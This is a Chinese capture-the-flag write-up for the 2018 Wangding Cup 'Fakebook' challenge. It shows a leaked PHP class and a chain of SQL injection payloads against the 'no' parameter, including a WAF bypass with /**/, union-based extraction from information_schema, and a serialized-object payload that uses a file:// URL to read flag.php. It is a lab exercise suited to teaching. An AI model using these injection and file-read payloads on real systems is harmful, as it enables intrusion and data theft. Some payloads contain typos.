[网鼎杯 2018]Fakebook

扫描目录发现/robots.txt flag.php

发现备份文件下载下来

<?php


class UserInfo
{
    public $name = "tsz";
    public $age = 10;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
?>

有类感觉会用到反序列化

发现no传参 进行注入点测试
no=1 and 1=1 \页面正常
no=1 and 1=2 \页面报错
no=1 order by 4 //页面正常
no=1 order by 5 //页面报错

no=1 union select 1，2，3，4 //有waf
no=1 union/**/select 1，2，3，4 绕过成功

no=-1 union//select 1,2,3,4 发现 2 处是回显位置
爆数据库

爆表名
no=-1 union//select 1,table_name,3,4 from information_schema.tables where table_schema=database()
爆列名
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=“users”

看看data存了什么
no=-1 union/**/select 1,data,3,4 from users

发现一段序列化这正是我们注册时填入的信息
O:8:“UserInfo”:3:{s:4:“name”;s:3:“qcy”;s:3:“age”;i:11;s:4:“blog”;s:57:“https://blog.csdn.net/qq_45694932?spm=1001.2101.3001.5343”;}

我们将这个反序列化改一下来利用读取flag.php

payload：no=-1 union/**/select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:3:“qcy”;s:3:“age”;i:11;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}'from users

这里为什么把构造的反序列化放入4位置是因为第四列存的是博客地址我们构造的读取源文件的代码是在博客地址内容里改的
然后查看源代码即可得到flag